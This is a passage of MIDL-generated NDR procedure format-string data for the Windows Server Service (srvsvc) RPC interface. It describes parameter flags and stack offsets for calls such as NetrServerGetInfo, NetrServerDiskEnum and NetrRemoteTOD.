*/\n/* 982 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 984 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 986 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 988 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 990 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 992 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 994 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter NetName */\n\n/* 996 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 998 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1000 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter Reserved */\n\n/* 1002 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1004 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1006 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1008 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1010 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1012 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrShareCheck */\n\n/* 1014 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1016 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1020 */\tNdrFcShort( 0x14 ),\t/* 20 */\n/* 1022 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1024 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1026 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1028 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1030 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1032 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1034 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 1036 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1038 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1040 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1042 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1044 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1046 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1048 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1050 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Device */\n\n/* 1052 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1054 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1056 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter Type */\n\n/* 1058 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1060 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1062 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1064 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1066 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1068 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrServerGetInfo */\n\n/* 1070 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1072 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1076 */\tNdrFcShort( 0x15 ),\t/* 21 */\n/* 1078 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1080 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1082 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1084 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1086 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1088 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1090 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 1092 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 1094 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1096 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1098 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1100 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1102 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1104 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1106 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 1108 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1110 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1112 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter InfoStruct */\n\n/* 1114 */\tNdrFcShort( 0x2113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=8 */\n/* 1116 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1118 */\tNdrFcShort( 0x748 ),\t/* Type Offset=1864 */\n\n\t/* Return value */\n\n/* 1120 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1122 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1124 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrServerSetInfo */\n\n/* 1126 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1128 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1132 */\tNdrFcShort( 0x16 ),\t/* 22 */\n/* 1134 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1136 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1138 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1140 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1142 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1144 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1146 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 1148 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1150 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1152 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1154 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1156 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1158 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1160 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1162 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 1164 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1166 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1168 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ServerInfo */\n\n/* 1170 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1172 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1174 */\tNdrFcShort( 0x9d0 ),\t/* Type Offset=2512 */\n\n\t/* Parameter ParmErr */\n\n/* 1176 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 1178 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1180 */\tNdrFcShort( 0xe0 ),\t/* Type Offset=224 */\n\n\t/* Return value */\n\n/* 1182 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1184 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1186 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrServerDiskEnum */\n\n/* 1188 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1190 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1194 */\tNdrFcShort( 0x17 ),\t/* 23 */\n/* 1196 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1198 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1200 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1202 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1204 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1206 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1208 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 1210 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1212 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1214 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1216 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1218 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1220 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1222 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1224 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 1226 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1228 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1230 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter DiskInfoStruct */\n\n/* 1232 */\tNdrFcShort( 0x11b ),\t/* Flags:  must size, must free, in, out, simple ref, */\n/* 1234 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1236 */\tNdrFcShort( 0xa24 ),\t/* Type Offset=2596 */\n\n\t/* Parameter PreferedMaximumLength */\n\n/* 1238 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1240 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1242 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter TotalEntries */\n\n/* 1244 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1246 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1248 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ResumeHandle */\n\n/* 1250 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 1252 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1254 */\tNdrFcShort( 0xe0 ),\t/* Type Offset=224 */\n\n\t/* Return value */\n\n/* 1256 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1258 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1260 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrServerStatisticsGet */\n\n/* 1262 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1264 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1268 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 1270 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1272 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1274 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1276 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1278 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1280 */\tNdrFcShort( 0x84 ),\t/* 132 */\n/* 1282 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1284 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1286 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1288 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1290 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1292 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1294 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1296 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1298 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Service */\n\n/* 1300 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1302 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1304 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 1306 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1308 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1310 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Options */\n\n/* 1312 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1314 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1316 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter InfoStruct */\n\n/* 1318 */\tNdrFcShort( 0x2012 ),\t/* Flags:  must free, out, srv alloc size=8 */\n/* 1320 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1322 */\tNdrFcShort( 0xa34 ),\t/* Type Offset=2612 */\n\n\t/* Return value */\n\n/* 1324 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1326 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1328 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrServerTransportAdd */\n\n/* 1330 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1332 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1336 */\tNdrFcShort( 0x19 ),\t/* 25 */\n/* 1338 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1340 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1342 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1344 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1346 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1348 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1350 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 1352 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1354 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1356 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1358 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1360 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1362 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1364 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1366 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 1368 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1370 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1372 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Buffer */\n\n/* 1374 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1376 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1378 */\tNdrFcShort( 0xa6c ),\t/* Type Offset=2668 */\n\n\t/* Return value */\n\n/* 1380 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1382 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1384 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrServerTransportEnum */\n\n/* 1386 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1388 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1392 */\tNdrFcShort( 0x1a ),\t/* 26 */\n/* 1394 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1396 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1398 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1400 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1402 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1404 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1406 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1408 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1410 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1412 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1414 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1416 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1418 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1420 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1422 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter InfoStruct */\n\n/* 1424 */\tNdrFcShort( 0x11b ),\t/* Flags:  must size, must free, in, out, simple ref, */\n/* 1426 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1428 */\tNdrFcShort( 0xc2a ),\t/* Type Offset=3114 */\n\n\t/* Parameter PreferedMaximumLength */\n\n/* 1430 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1432 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1434 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter TotalEntries */\n\n/* 1436 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1438 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1440 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ResumeHandle */\n\n/* 1442 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 1444 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1446 */\tNdrFcShort( 0xe0 ),\t/* Type Offset=224 */\n\n\t/* Return value */\n\n/* 1448 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1450 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1452 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrServerTransportDel */\n\n/* 1454 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1456 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1460 */\tNdrFcShort( 0x1b ),\t/* 27 */\n/* 1462 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1464 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1466 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1468 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1470 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1472 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1474 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 1476 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1478 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1480 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1482 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1484 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1486 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1488 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1490 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 1492 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1494 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1496 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Buffer */\n\n/* 1498 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1500 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1502 */\tNdrFcShort( 0xa6c ),\t/* Type Offset=2668 */\n\n\t/* Return value */\n\n/* 1504 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1506 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1508 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrRemoteTOD */\n\n/* 1510 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1512 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1516 */\tNdrFcShort( 0x1c ),\t/* 28 */\n/* 1518 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1520 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1522 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1524 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1526 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1528 */\tNdrFcShort( 0x70 ),\t/* 112 */\n/* 1530 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 1532 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1534 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1536 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1538 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1540 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1542 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1544 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1546 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter BufferPtr */\n\n/* 1548 */\tNdrFcShort( 0x2012 ),\t/* Flags:  must free, out, srv alloc size=8 */\n/* 1550 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1552 */\tNdrFcShort( 0xc3a ),\t/* Type Offset=3130 */\n\n\t/* Return value */\n\n/* 1554 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1556 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1558 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum29NotUsedOnWire */\n\n/* 1560 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1562 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1566 */\tNdrFcShort( 0x1d ),\t/* 29 */\n/* 1568 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1570 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 1572 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1574 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1576 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1578 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 1580 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1582 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1584 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1586 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1588 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure NetprPathType */\n\n/* 1590 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1592 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1596 */\tNdrFcShort( 0x1e ),\t/* 30 */\n/* 1598 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1600 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1602 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1604 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1606 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1608 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1610 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 1612 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1614 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1616 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1618 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1620 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1622 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1624 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1626 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter PathName */\n\n/* 1628 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1630 */\tNdrFcShort( 